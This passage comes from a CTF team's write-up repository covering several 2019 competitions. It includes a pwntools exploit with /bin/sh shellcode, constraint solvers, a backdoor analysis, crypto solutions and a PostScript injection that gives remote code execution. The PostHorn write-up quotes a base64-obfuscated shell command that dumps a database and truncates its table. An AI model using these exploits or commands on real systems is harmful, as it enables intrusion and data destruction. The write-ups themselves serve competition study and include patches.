str(get_det(*vals[i:i+4]))) 136 | modulus = GCD(modulus, get_det(*vals[i:i+4])) 137 | #io.info(str(modulus) + " " + hex(modulus)) 138 | 139 | return modulus 140 | 141 | io = start() 142 | io.recvuntil("What eggs would you want to use for eggnog?\n") 143 | io.sendline("A"*0x2d) 144 | 145 | io.recvuntil("Filtered eggs: ") 146 | vals = io.recvuntil("\n").split(" ") 147 | vals = list(map(int, filter(None, vals[:-1]))) 148 | 149 | io.sendline("n") 150 | 151 | 152 | n = get_modulus(vals) 153 | x1, x2, x3 = tuple(vals[0:3]) 154 | 155 | multiplier = ((x2-x3) * inverse(x1 - x2, n)) % n 156 | offset = (x2 - (x1 * multiplier)) % n 157 | 158 | io.info("modulus: " + str(n) + " " + hex(n)) 159 | io.info("multiplier: " + str(multiplier) + " " + hex(multiplier)) 160 | io.info("offset: " + str(offset) + " " + hex(offset)) 161 | 162 | global lcg_state 163 | lcg_state = vals[0] 164 | def lcg_next(): 165 | global lcg_state 166 | lcg_state = (lcg_state * multiplier + offset) % n 167 | 168 | for i in vals[1:]: 169 | lcg_next() 170 | assert lcg_state == i 171 | 172 | removed = set() 173 | for i in range(14): 174 | lcg_next() 175 | io.info(str(i) + ", " + str(lcg_state) + "\tRemoved : " + str(lcg_state % 0x2d) + " (" + hex(lcg_state % 0x2d) + ")") 176 | removed.add(lcg_state % 0x2d) 177 | 178 | io.recvuntil("What eggs would you want to use for eggnog?\n") 179 | 180 | removed = sorted(list(removed)) 181 | shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" 182 | for i in removed: 183 | shellcode = shellcode[:i] + "A" + shellcode[i:] 184 | shellcode += (0x2d - len(shellcode)) * "\x90" 185 | 186 | io.sendline(shellcode) 187 | 188 | io.recvuntil("Filtered eggs: ") 189 | next_vals = io.recvuntil("\n").split(" ") 190 | next_vals = list(map(int, filter(None, next_vals[:-1]))) 191 | 192 | io.interactive() 193 | 194 | -------------------------------------------------------------------------------- /X-MASctf2019/README.md: -------------------------------------------------------------------------------- 1 | # X-MAS CTF 2019 2 | 3 | *Fr, 13 Dec. 2019, 20:00 CET — Fr, 20 Dec. 2019, 20:00 CET* 4 | 5 | ### Official URL: [https://xmas.htsp.ro/](https://xmas.htsp.ro/) 6 | ### CTFtime URL: [https://ctftime.org/event/926/](https://ctftime.org/event/926/) 7 | 8 | ## Writeups 9 | 10 | ### [Eggnog](./Eggnog.md) [pwn] 11 | ### [Blindfolded](./Blindfolded.md) [pwn] 12 | -------------------------------------------------------------------------------- /X-MASctf2019/eggnog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ENOFLAG/writeups/264cdb7e18a02cea8eb8879d018e6d316a50c915/X-MASctf2019/eggnog -------------------------------------------------------------------------------- /_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-cayman -------------------------------------------------------------------------------- /bsidesdelhi2019/JrAppy/chall.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ENOFLAG/writeups/264cdb7e18a02cea8eb8879d018e6d316a50c915/bsidesdelhi2019/JrAppy/chall.pyc -------------------------------------------------------------------------------- /bsidesdelhi2019/JrAppy/constr.py: -------------------------------------------------------------------------------- 1 | import collections 2 | from constraint import * 3 | 4 | problem = Problem() 5 | 6 | for i in range(20): 7 | if i not in [9, 13, 18]: 8 | problem.addVariable(chr(97 + i), [x for x in range(97, 123)]) 9 | else: 10 | problem.addVariable(chr(97 + i), [x for x in range(65, 91)]) 11 | 12 | caa = [210, 221, 213, 215, 203, 211, 189, 220, 215, 190] 13 | # ord(str1[i]) + ord(str1[(i + 1)]) != caa[int(i / 2)] 14 | 15 | problem.addConstraint(lambda a, b: a + b == caa[0], ("a", "b")) 16 | problem.addConstraint(lambda c, d: c + d == caa[1], ("c", "d")) 17 | problem.addConstraint(lambda e, f: e + f == caa[2], ("e", "f")) 18 | problem.addConstraint(lambda g, h: g + h == caa[3], ("g", "h")) 19 | problem.addConstraint(lambda i, j: i + j == caa[4], ("i", "j")) 20 | problem.addConstraint(lambda k, l: k + l == caa[5], ("k", "l")) 21 | problem.addConstraint(lambda m, n: m + n == caa[6], ("m", "n")) 22 | problem.addConstraint(lambda o, p: o + p == caa[7], ("o", "p")) 23 | problem.addConstraint(lambda q, r: q + r == caa[8], ("q", "r")) 24 | problem.addConstraint(lambda s, t: s + t == caa[9], ("s", "t")) 25 | 26 | ca = [196, 225, 210, 200, 214, 219, 215, 215, 203, 190] 27 | 28 | problem.addConstraint(lambda a, k: a + k == ca[0], ("a", "k")) 29 | problem.addConstraint(lambda b, l: b + l == ca[1], ("b", "l")) 30 | problem.addConstraint(lambda c, m: c + m == ca[2], ("c", "m")) 31 | problem.addConstraint(lambda d, n: d + n == ca[3], ("d", "n")) 32 | problem.addConstraint(lambda e, o: e + o == ca[4], ("e", "o")) 33 | problem.addConstraint(lambda f, p: f + p == ca[5], ("f", "p")) 34 | problem.addConstraint(lambda g, q: g + q == ca[6], ("g", "q")) 35 | problem.addConstraint(lambda h, r: h + r == ca[7], ("h", "r")) 36 | problem.addConstraint(lambda i, s: i + s == ca[8], ("i", "s")) 37 | problem.addConstraint(lambda j, t: j + t == ca[9], ("j", "t")) 38 | 39 | # if ord(str1[i]) ^ ord(str1[(i + 10)]) != cx[i]: 40 | cx = [2, 29, 8, 40, 4, 3, 23, 23, 43, 62] 41 | 42 | problem.addConstraint(lambda a, k: a ^ k == cx[0], ("a", "k")) 43 | problem.addConstraint(lambda b, l: b ^ l == cx[1], ("b", "l")) 44 | problem.addConstraint(lambda c, m: c ^ m == cx[2], ("c", "m")) 45 | problem.addConstraint(lambda d, n: d ^ n == cx[3], ("d", "n")) 46 | problem.addConstraint(lambda e, o: e ^ o == cx[4], ("e", "o")) 47 | problem.addConstraint(lambda f, p: f ^ p == cx[5], ("f", "p")) 48 | problem.addConstraint(lambda g, q: g ^ q == cx[6], ("g", "q")) 49 | problem.addConstraint(lambda h, r: h ^ r == cx[7], ("h", "r")) 50 | problem.addConstraint(lambda i, s: i ^ s == cx[8], ("i", "s")) 51 | problem.addConstraint(lambda j, t: j ^ t == cx[9], ("j", "t")) 52 | 53 | # if ord(str1[7]) ^ ord(str1[8]) != 1: 54 | problem.addConstraint(lambda h, i: h ^ i == 1, ("h", "i")) 55 | 56 | 57 | aa = problem.getSolutions() 58 | 59 | 60 | for a in aa: 61 | od = collections.OrderedDict(sorted(a.items())) 62 | 63 | for i in [99, 111, 109, 112, 105, 108, 101, 114, 115, 88, 97, 114, 101, 88, 109, 111, 114, 101, 88, 102]: 64 | print(chr(i), end="") 65 | 66 | print("") 67 | 68 | 69 | ca = [ 70 | 196, 71 | 225, 72 | 210, 73 | 200, 74 | 214, 75 | 219, 76 | 215, 77 | 215, 78 | 203, 79 | 190] 80 | cx = [ 81 | 2, 82 | 29, 83 | 8, 84 | 40, 85 | 4, 86 | 3, 87 | 23, 88 | 23, 89 | 43, 90 | 62] 91 | caa = [ 92 | 210, 93 | 221, 94 | 213, 95 | 215, 96 | 203, 97 | 211, 98 | 189, 99 | 220, 100 | 215, 101 | 190] 102 | -------------------------------------------------------------------------------- /bsidesdelhi2019/JrAppy/constr2.py: -------------------------------------------------------------------------------- 1 | import collections 2 | from constraint import * 3 | 4 | problem = Problem() 5 | 6 | for i in range(21): 7 | if i not in [2, 7, 20]: 8 | problem.addVariable(chr(97 + i), [x for x in range(97, 123)]) 9 | else: 10 | problem.addVariable(chr(97 + i), [x for x in range(65, 91)]) 11 | 12 | problem.addConstraint(lambda a: a == 117, ("a")) 13 | problem.addConstraint(lambda b: b == 110, ("b")) 14 | 15 | problem.addConstraint(lambda c: c == 88, ("c")) 16 | problem.addConstraint(lambda h: h == 88, ("h")) 17 | problem.addConstraint(lambda u: u == 88, ("u")) 18 | 19 | problem.addConstraint(lambda d: d == 116, ("d")) 20 | problem.addConstraint(lambda e: e == 104, ("e")) 21 | problem.addConstraint(lambda f: f == 97, ("f")) 22 | problem.addConstraint(lambda g: g == 110, ("g")) 23 | 24 | zz = [29, 22, 19, 7, 5, -17, 9, 15, 0, -2, -10, 5, 26, 27] 25 | 26 | problem.addConstraint(lambda a, c: a - c == zz[0], ("a", "c")) 27 | problem.addConstraint(lambda b, c: b - c == zz[1], ("b", "c")) 28 | 29 | problem.addConstraint(lambda d, f: d - f == zz[2], ("d", "f")) 30 | problem.addConstraint(lambda e, f: e - f == zz[3], ("e", "f")) 31 | 32 | problem.addConstraint(lambda g, i: g - i == zz[4], ("g", "i")) 33 | problem.addConstraint(lambda h, i: h - i == zz[5], ("h", "i")) 34 | 35 | problem.addConstraint(lambda j, l: j - l == zz[6], ("j", "l")) 36 | problem.addConstraint(lambda k, l: k - l == zz[7], ("k", "l")) 37 | 38 | problem.addConstraint(lambda m, o: m - o == zz[8], ("m", "o")) 39 | problem.addConstraint(lambda n, o: n - o == zz[9], ("n", "o")) 40 | 41 | problem.addConstraint(lambda p, r: p - r == zz[10], ("p", "r")) 42 | problem.addConstraint(lambda q, r: q - r == zz[11], ("q", "r")) 43 | 44 | problem.addConstraint(lambda s, u: s - u == zz[12], ("s", "u")) 45 | problem.addConstraint(lambda t, u: t - u == zz[13], ("t", "u")) 46 | 47 | 48 | aa = problem.getSolutions() 49 | abc = open("lmao", "w") 50 | for a in aa: 51 | for i in collections.OrderedDict(sorted(a.items())).values(): 52 | print(chr(i), end="") 53 | abc.write(chr(i)) 54 | print("") 55 | abc.write("\n") 56 | 57 | print(len(aa)) 58 | 59 | ca = [196, 225, 210, 200, 214, 219, 215, 215, 203, 190] 60 | cx = [2, 29, 8, 40, 4, 3, 23, 23, 43, 62] 61 | caa = [210, 221, 213, 215, 203, 211, 189, 220, 215, 190] 62 | -------------------------------------------------------------------------------- /bsidesdelhi2019/JrAppy/flag_part2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ENOFLAG/writeups/264cdb7e18a02cea8eb8879d018e6d316a50c915/bsidesdelhi2019/JrAppy/flag_part2.png -------------------------------------------------------------------------------- /bsidesdelhi2019/JrAppy/jrappy.md: -------------------------------------------------------------------------------- 1 | # JrAppy 2 | 3 | This was a reversing challenge from the bsidesdelhi 2019 CTF. 4 | 5 | The challenge provided us with one file only: [chall.pyc](chall.pyc), python bytecode. 6 | 7 | I used [pycdc](https://github.com/zrax/pycdc) to decompile, and got [recover.py](recover.py). 8 | 9 | In the check() function, we can see that the input string has to pass several constraints, in order to be valid. 10 | I modeled these constraints using [python-constraint](https://labix.org/python-constraint), 11 | and got the first part of the flag: compilersXareXmoreXf (see [constr.py](constr.py)), 12 | though "Correct! get the other part of the flag." alreay hinted that there is a second part. 13 | 14 | The dump() function actually generates the second part of the challenge, a Java class file. 15 | The idea was the same, though this time the constraint got a little bit more complicated. 16 | 17 | Luckily, I could [guess](constr2.py) parts of the second part (i.e. starting with "un"), and so there were only ~3000 possibilites left. 18 | I printed out all of them and quickly found the [solution](flag_part2.png). 19 | 20 | All in all a slightly tedious challenge, although I had fun solving it nevertheless. -------------------------------------------------------------------------------- /bsidesdelhi2019/README.md: -------------------------------------------------------------------------------- 1 | # BSides Delhi CTF 2019 2 | 3 | *Sa, 28 Sept. 2019, 13:30 CEST — So, 29 Sept. 2019, 13:30 CEST* 4 | 5 | ### Official URL: [https://ctf.bsidesdelhi.in/](https://ctf.bsidesdelhi.in/) 6 | ### CTFtime URL: [https://ctftime.org/event/885/](https://ctftime.org/event/885/) 7 | 8 | ## Writeups 9 | 10 | ### [JrAppy](./JrAppy/jrappy.md) [reverse] 11 | -------------------------------------------------------------------------------- /cinsectsctf2019/README.md: -------------------------------------------------------------------------------- 1 | # CInsects CTF 2019 2 | 3 | *Fr, 12 July 2019, 12:00 CEST — Fr, 12 July 2019, 21:00 CEST* 4 | 5 | ### Official URL: [https://ctf.cinsects.de/](https://ctf.cinsects.de/) 6 | ### CTFtime URL: [https://ctftime.org/event/816/](https://ctftime.org/event/816/) 7 | 8 | ## Writeups 9 | 10 | ### [python-foo](./python-foo.md) 11 | ### [mongo-foo](./mongo-foo.md) 12 | -------------------------------------------------------------------------------- /cinsectsctf2019/mongo-foo.md: -------------------------------------------------------------------------------- 1 | # mongo-foo 2 | 3 | mongo-foo was a tiny cli key-value store written in python, backed by a mongodb. 4 | It offered the commands `encrypt`, `decrypt`, `store` and `retrieve`, where `decrypt` was broken and only `store` and `retrieve` were being used. 5 | 6 | After a successful `store`, you received a random id, which you could supply in `retrieve`. 7 | 8 | There were no vulnerabilities in the service, only the mongodb was not binding to localhost only. Many teams did not notice, because the vulnbox had an unintended mongodb which was listening on 127.0.0.1 only: 9 | 10 | ![mongos](mongo.png) 11 | 12 | Since the host file of the vulnbox had two entries for localhost, one being 127.0.0.1, the other one being a different machine, the service used the mongodb on the different server for some teams. Since our mongo server's ip was one below our vulnbox' ip, we made an educated guess that this was the case for many teams, and started exploiting. 13 | 14 | Exploiting this vulnerability was trivial - dump the database, decode the flag, submit. 15 | 16 | Fixing this vulnerability was trivial - restrict connections to the mongodb. 17 | -------------------------------------------------------------------------------- /cinsectsctf2019/mongo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ENOFLAG/writeups/264cdb7e18a02cea8eb8879d018e6d316a50c915/cinsectsctf2019/mongo.png -------------------------------------------------------------------------------- /cinsectsctf2019/python-foo.md: -------------------------------------------------------------------------------- 1 | # python-foo 2 | 3 | python-foo was a tiny cli key-value store written in python, backed by a mongodb. It offered the commands `encrypt`, `decrypt`, `store` and `retrieve`. 4 | 5 | After a successful store, you received a random id, which you could supply in retrieve. 6 | 7 | The service's crypto module's source code was not deployed, however throwing its .pyc file into your python decompiler of choice yielded only slightly obfuscated source code. 8 | 9 | ## Vulnerability 1: Backdoor 10 | 11 | The crypt module was imported with `from crypto import *`, so all global names from that file were imported. Among the many useless statements, there was 12 | ```python 13 | int = iaa 14 | ``` 15 | 16 | and 17 | 18 | ```python 19 | def iaa(*args, **kwargs): 20 | if args: 21 | if args[0] == caisheoquaMeeth6wo5waa4Eefaigh(iaa, b'SECRET', 'TOP'): 22 | print('so boring!') 23 | return -42 24 | else: 25 | return o_int(*args, **kwargs) 26 | 27 | def caisheoquaMeeth6wo5waa4Eefaigh(a: int, b: bytes, c: str) -> str: 28 | a = 1 29 | b = bytes([(i + a * i // 10 + 7 ^ o_int(a * 3.1415)) % 10 + 48 for i in range(2, 30)]) 30 | c = b.decode() 31 | return c 32 | ``` 33 | 34 | So in troll.py, `int` returned -42 if the argument was `0985432976321076540985432987`. This caused the `debug` function to leak `RECORDS`, which contained all encrypted values, which you could decrypt with the `decrypt` function. 35 | ``` 36 | def debug(op: int): 37 | print('operation: ', op) 38 | print('Global variables:') 39 | print('\n'.join( 40 | f'{k}: {v}' 41 | for k, v in globals().items() 42 | # make sure that we do not leak the key 43 | if k.isupper() and k != 'KEY')) 44 | ``` 45 | Removing the debug function fixes this issue. 46 | 47 | 48 | 49 | ## Vulnerability 2: Badlock 50 | Since the storage was backed by a simple file, and socat spawned a python process for every connection (what could **possibly** go wrong on 512MB memory vulnboxes), python-foo had to use custom synchronization to protect the file from concurrent access. 51 | 52 | The `store_record` and `load_records` had a `@fasteners.interprocess_locked('lock-file')` decorator, which seemingly protects against concurrent access. However, `store_record` called `load_records` multiple times, and the lock was release after the first call to `load_records` finished. 53 | 54 | The load results were compared, and if they were not equal, `debug` was called: 55 | ``` 56 | RECORDS = load_or_initialize_records() 57 | 58 | records_2 = load_or_initialize_records() 59 | records_3 = load_or_initialize_records() 60 | records_4 = load_or_initialize_records() 61 | 62 | # these aliens are very rude, sometimes. better safe than sorry 63 | try: 64 | assert RECORDS == records_2 == records_3 == records_4, 'there are aliens' 65 | except AssertionError: 66 | debug(2) # write operation 67 | ``` 68 | To exploit this you had to ensure the race condition occurs, so you threw concurrent `store_record` commands at it until you got the debug output. 69 | 70 | Removing the debug function fixes this issue. 71 | 72 | -------------------------------------------------------------------------------- /csaw2019/README.md: -------------------------------------------------------------------------------- 1 | # CSAW CTF Qualification Round 2019 2 | 3 | *Fr, 13 Sept. 2019, 22:00 CEST — So, 15 Sept. 2019, 22:00 CEST* 4 | 5 | ### Official URL: [http://ctf.csaw.io/](http://ctf.csaw.io/) 6 | ### CTFtime URL: [https://ctftime.org/event/870/](https://ctftime.org/event/870/) 7 | 8 | ## Writeups 9 | 10 | ### [count on me](./count_on_me.md) [crypto] 11 | ### [Fault Box](./fault_box.md) [crypto] 12 | -------------------------------------------------------------------------------- /csaw2019/count_on_me.md: -------------------------------------------------------------------------------- 1 | # Count on me 2 | 3 | The server asks for a seed and then returns the encrypted flag 100 times. 4 | 5 | The service then generated blocks of 32 Bits, expands them to 16 Bytes and encrypts these with AES-128 with unknown key in ECB mode, i.e. same input leads to same cipher. 6 | This bitstream then is XORed with: "Encrypted Flag: " + FLAG 7 | 8 | Observations: 9 | * "Encrypted Flag: " has 16 Byte, i.e. one full block. 10 | * The encrypted string has 48 Byte, so 3 blocks. 11 | * We have control over the seed. 12 | 13 | We know, which random bytes were encrypted and we know the plaintext of the first block, we know to which 16 bytes, these were encrypted. 14 | So for some blocks, we know the cipher. 15 | Now we have to find a seed, such that some random bits from the first block also appears as a second block (possibly in one of the other other 99 iterations). 16 | The same we do for the third blocks. 17 | We can do this in an offline search. 18 | Similar to the birthday paradox, the chances are good, actually both seeds are ~77k. 19 | -------------------------------------------------------------------------------- /csaw2019/fault_box.md: -------------------------------------------------------------------------------- 1 | # Fault Box 2 | 3 | We have an online service, where we can 4 | 1. get the encrypted flag 5 | 2. get an encrypted fake-flag 6 | 3. get an faulty encryption of the fake-flag 7 | 4. encrypt an arbitrary message 8 | all with RSA, e = 65537 but *unknown n*. 9 | 10 | After executing 2 of the first 3 options, the key is reset. 11 | Only the 4th we can perform arbitrarily (within 5 minutes). 12 | 13 | ## Getting n 14 | 15 | * Input some small messages *a_i* (e.g. '0' and '1', i.e. 0x30 and 0x31) get cipher *b_i* 16 | * We have *a_i ^ e = b_i + k_i * n* 17 | * Compute gcd of the *a_i ^ e - b_i* (that's why *a_i* should be small) 18 | Most likely the gcd will be *n*. 19 | To increase the chance, you can add a third message. 20 | 21 | ## Factor n 22 | 23 | The faulty encryption is like the improved RSA encryption via Chinese Remainder Theorem (CRT), but at one step, some small number is added. 24 | As a result, *p* divides *fake - faulty_fake*, so *p = gcd(n, fake - faulty_fake)* 25 | 26 | Unfortunately, this need 2 calls, and when we ask for the encrypted flag, the key is reset. 27 | 28 | ## Save a Function Call 29 | 30 | It turns out, we don't have to call the second function. 31 | We only use the function calls 4,4,3,4,...,4,1. 32 | When generating the key, the server computes 33 | * `base_p = random` 34 | * `p = next_prime(base_p)` 35 | * `x = p - base_p` 36 | and likewise `q,y`. 37 | The fake flag is `y`, which is ~ln(n) ~ 1000-1500. 38 | We just try out all values (before we ask for the encrypted flag), and then check for each guess, whether the above method works. 39 | If it fails, just try again, the chances are good (Trying y = 0,...,500 took 3 or 4 attempts). 40 | 41 | ## Alternative Approach 42 | 43 | The seed for random is `time.time()`, which is seconds since Epoch. 44 | By default, it is a float, but might be int. 45 | With the primes and the offsets, we could guess the initial seed, then we can compute the new key after the reset. 46 | -------------------------------------------------------------------------------- /cybrics2019/README.md: -------------------------------------------------------------------------------- 1 | # CyBRICS CTF Quals 2019 2 | 3 | *Sa, 20 July 2019, 12:00 CEST — So, 21 July 2019, 12:00 CEST* 4 | 5 | ### Official URL: [https://cybrics.net/](https://cybrics.net/) 6 | ### CTFtime URL: [https://ctftime.org/event/836/](https://ctftime.org/event/836/) 7 | 8 | ## Writeups 9 | 10 | ### [Big RAM](./bigram.md) [crypto] 11 | ### [Fast Crypto](./fastcrypto.md) [crypto] 12 | ### [Zakukozh](./zakukozh.md) [crypto] 13 | -------------------------------------------------------------------------------- /cybrics2019/bigram.md: -------------------------------------------------------------------------------- 1 | # Bigram 2 | 3 | We have a looong book (600 KB, about the size of Moby Dick), encrypted with bialphabetic substitution (like monoalphabetic, but with pairs of letters). 4 | Fortunately, spaces and other special characters are kept, as well as whether capital/small letter. 5 | For leftover letters (odd-length words), we have an additional monoalphabetic substitution. 6 | 7 | Solution via: 8 | * Frequency analysis 9 | * sharp looking at the partially decoded text 10 | * use a complete list of english words and `grep` 11 | 12 | Wikipedia has a list of letter frequencies and frequencies of 39 bigrams and the most common english words. 13 | * 39 is not enough 14 | * their freq. is given in an unsatisfying way 15 | * their freq. don't differ enough for automated substitution 16 | * letter freq. are different between general and last letter of word 17 | * There are other freq. we want to exploit. 18 | 19 | So I decided to compute my own frequencies, based on some free texts 20 | * Moby Dick 21 | * Alice in Wonderland 22 | * Gulliver's Travels 23 | * 3 Little Pigs 24 | * King John 25 | * Love's Labour's Lost 26 | 27 | These freq. included: 28 | * letter pairs 29 | * single letters at word's end 30 | * word beginnings 31 | * full words 32 | 33 | Then encryption can be done by 34 | * The flag formaty `cybrics` gives 3 pairs and 1 letter 35 | * The word `the` is by far the most common: 1 pair, 1 letter 36 | * word of single capital letter: `I` 1 letter 37 | * use the next few most common pairs: in, to, an 38 | * iterate 39 | * apply known mapping 40 | * looks for word with few gaps 41 | * guess the word, grep in wordlist to make sure, it is unique (or alternatives don't make sense) 42 | * obtain new mappings 43 | 44 | In the end, this took about 6 hours, but looking back, I could have automated more and made more use of case sensitivity. 45 | -------------------------------------------------------------------------------- /cybrics2019/fastcrypto.md: -------------------------------------------------------------------------------- 1 | # Fast-Crypto 2 | 3 | We have a .wav, which is XOR'ed with some generated byte-stream. 4 | The stream depends on a power (2-16) and a seed (0-2**16). 5 | That leaves about 1M possibilities, which is few enough for brute force. 6 | However, encryption is very slow, so we have to speed it up. 7 | 8 | * `get_next` should use modular exponentiation `pow(a, power, N)` 9 | * The loop for iterated power can be turned into one: `pow(a, power**31337, N)` 10 | * We can factor N to compute phi(N) and use Euler's Theorem: `pow(a, (power**31337) % phi(N), N)` 11 | * A .wav begins with `RIFF` as signature, so we just check the first 4 Byte. If they do not match, try the next combination. 12 | 13 | Running brute force yields the decoded file (in my case about 20 minutes). 14 | Then just listen to the flag. 15 | -------------------------------------------------------------------------------- /cybrics2019/zakukozh.md: -------------------------------------------------------------------------------- 1 | # Zakukozh 2 | 3 | The hint says affine chiffre, which means x -> a*x+b and a is coprime to the modulus (here 256, so a simply is odd). 4 | We can brute-force this, about 2**15 ~ 32k choices. 5 | 6 | Then sort all files by filetype. 7 | Remove all, that are binary (i.e. don't match a signature). 8 | Then only few remain, actually only one of them has a preview in Nemo. 9 | That is the image with the flag. 10 | -------------------------------------------------------------------------------- /faustctf2019/1gp4ub.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ENOFLAG/writeups/264cdb7e18a02cea8eb8879d018e6d316a50c915/faustctf2019/1gp4ub.jpg -------------------------------------------------------------------------------- /faustctf2019/O89YgWk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ENOFLAG/writeups/264cdb7e18a02cea8eb8879d018e6d316a50c915/faustctf2019/O89YgWk.png -------------------------------------------------------------------------------- /faustctf2019/README.md: -------------------------------------------------------------------------------- 1 | # FAUST CTF 2019 2 | 3 | *Sa, 25 May 2019, 15:00 CEST — So, 26 May 2019, 00:00 CEST* 4 | 5 | ### Official URL: [https://2019.faustctf.net/](https://2019.faustctf.net/) 6 | ### CTFtime URL: [https://ctftime.org/event/776/](https://ctftime.org/event/776/) 7 | 8 | ## Writeups 9 | 10 | ### [PostHorn](./posthorn.md) 11 | -------------------------------------------------------------------------------- /faustctf2019/SGpPW9L.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ENOFLAG/writeups/264cdb7e18a02cea8eb8879d018e6d316a50c915/faustctf2019/SGpPW9L.png -------------------------------------------------------------------------------- /faustctf2019/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ENOFLAG/writeups/264cdb7e18a02cea8eb8879d018e6d316a50c915/faustctf2019/flag.png -------------------------------------------------------------------------------- /faustctf2019/index.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ENOFLAG/writeups/264cdb7e18a02cea8eb8879d018e6d316a50c915/faustctf2019/index.pdf -------------------------------------------------------------------------------- /faustctf2019/posthorn.md: -------------------------------------------------------------------------------- 1 | # PostHorn 2 | 3 | ![posthorn pdf](O89YgWk.png) 4 | 5 | PostHorn was a service where we got first blood (🎉🎉🎉) in the 2019 FAUST CTF featuring Post-based technologies, such as 6 | 7 | - HTTP Posts 8 | - Postgress 9 | - Postscript 10 | 11 | It had a CGI Webserver binary (launched by uwsgi): 12 | ![ghidra output](SGpPW9L.png) 13 | 14 | The binary then executed PostScript files (the stuff that renders PDFs) (!!!) and forwarded the output of ghostscript to the browser. 15 | 16 | We quickly decided the stripped binary was too much work... and focussed on the .ps files. 17 | 18 | ## PostScript 19 | 20 | PostScript is an archaic stack-based language. 21 | But it's very different from most things we were used to, for example defining a variable is: 22 | 23 | ```postscript 24 | /variablename whatever def 25 | ``` 26 | 27 | Its primary use is to render PDFs. 28 | Of course, the interface in the browser was PDFs and embedded forms <3, such as [this](index.pdf). 29 | 30 | Due to recent PS-Based CVEs, we found a pretty good introduction here: 31 | https://www.fortinet.com/blog/threat-research/debugging-postscript-with-ghostscript.html 32 | 33 | ## Postgress 34 | 35 | All users and posts were added to a Postgress DB. 36 | The Ghostscript interpreter (interpreting PostScript) then execed `psql` to communicate with the PostScript Database. 37 | 38 | The flagbot dropped flags into the database (using POSTs of course) - as message of a user. 39 | 40 | The `psql.ps` file (a postscript library to interact with postgress), was the following: 41 | 42 | ```PostScript 43 | /sqlgetrow{ 44 | null (w) .tempfile dup 4 -1 roll writestring closefile 45 | (%pipe%psql -z -t -A -f ) exch concatstrings (r) file 1000 string readline pop 46 | } bind def 47 | 48 | /sqlescapestring { 49 | (t) genuuid concatstrings ($) 2 {dup 3 1 roll 2 {concatstrings} repeat} repeat 50 | } bind def 51 | 52 | /sqlforallresults { 53 | /code exch def 54 | null (w) .tempfile dup 4 -1 roll writestring closefile 55 | (%pipe%psql -z -t -A -f ) exch concatstrings (r) file /fd exch def 56 | { 57 | mark fd 512 string readline { 58 | null (w) .tempfile dup 4 -1 roll writestring closefile 59 | 5 dict dup dup 4 -1 roll run 3 -1 roll exch /posted exch put /post exch put code exec cleartomark 60 | }{ 61 | cleartomark exit 62 | } ifelse 63 | } loop 64 | } bind def 65 | ``` 66 | 67 | This was, indeed, were we found an injection. 68 | 69 | In the function(?) (operator?) `/sqlforallresults`, the returns from postscript are being passed to `run`. 70 | The docs state: 71 | > *run* is a convenience operator that combines the functions of _file_ and _exec_ 72 | 73 | Inside a called postgress sql function, we find: `SELECT format(' (%s) (%s) ', ...` -> after some deugging, it was clear that the result is then directly interpreted by `gs` (brackets being the quotes for strings) and stored in a dict. 74 | That means, anything with brackets can inject here. 75 | 76 | Full PostScript RCE! 77 | 78 | ## The Exploit 79 | 80 | ![flag output pdf](flag.png) 81 | As initial PoC exploit, we posted: 82 | 83 | ```SQL 84 | SELECT post FROM post_table WHERE user_id in \(SELECT user_id from user_table where username in \('username', 'username2', 'username_n'\));) sqlgetrow show (nextpost 85 | ``` 86 | 87 | Since the sql function in `psql` (see the patched version below) then formats this to: 88 | 89 | ```PostGress 90 | (SELECT post FROM post_table WHERE user_id in \(SELECT user_id from user_table where username in \('username', 'username2', 'username_n'\));) sqlgetrow show (nextpost) (some_id) 91 | ``` 92 | 93 | and `gs` `run`s this, it will first 94 | - push the SQL statement to the stack 95 | - execute the `sqlgetrow` operator which pushes the sql result to the stack 96 | - calls `show` on this, outputting the flag to the PDF (see picture above) 97 | - pushes two normal values to the stack to make the normal parsing function happy 98 | 99 | At the same time, we started patching. 100 | 101 | ## The Patch 102 | 103 | To fix this issue we sanitized the output of the two provided postgres functions. 104 | In particular usernames and the content of posts could be used to trip up the postscript parsing. 105 | 106 | As a quick fix, we replaced the parentheses with letters, by using the `translate` function, rigerously repacing `(` with `a` and `)` with `b`. 107 | 108 | The resulting functions (the original versions were the same without translate) are: 109 | 110 | ```SQL 111 | CREATE OR REPLACE FUNCTION get_posts(fromuser TEXT, asuser TEXT) 112 | RETURNS SETOF text 113 | AS $$ 114 | WITH help AS (SELECT user_id FROM user_table WHERE asuser = username) 115 | SELECT format(' (%s) (%s) ', translate(post, '()', 'ab'), posted) 116 | FROM help, post_table INNER JOIN user_table USING (user_id) INNER JOIN access_table USING (post_id) 117 | WHERE user_table.username = fromuser AND access_table.user_id = help.user_id; 118 | $$ 119 | LANGUAGE sql; 120 | 121 | CREATE OR REPLACE FUNCTION get_friends(fromuser TEXT) 122 | RETURNS SETOF text 123 | AS $$ 124 | WITH help AS (SELECT user_id FROM user_table WHERE fromuser = username) 125 | SELECT DISTINCT format(' (%s) (%s) ', post_table.user_id, translate(username, '()', 'ab')) 126 | FROM help, post_table INNER JOIN user_table USING (user_id) INNER JOIN access_table USING (post_id) 127 | WHERE access_table.user_id = help.user_id 128 | $$ 129 | LANGUAGE sql; 130 | ``` 131 | 132 | ## A Nicer Exploit That Should Have Been... 133 | 134 | Since flags got deleted by the other teams' exploits, for example with: 135 | 136 | ```PostScript 137 | %pipe%echo cHNxbCAtYyAnc2VsZWN0ICogZnJvbSBwb3N0X3RhYmxlO1RSVU5DQVRFIHBvc3RfdGFibGUgQ0FTQ0FERTsnfGdyZXAgLW8gJ0ZBVVNUX1tBLVphLXowLTkrL10qJyAK | base64 -d | sh >> /tmp/zalupa) (r) file closefile 0 quit (12345 138 | ``` 139 | 140 | which decodes to 141 | 142 | ``` 143 | psql -c 'select * from post_table;TRUNCATE post_table CASCADE;'|grep -o 'FAUST_[A-Za-z0-9+/]*' 144 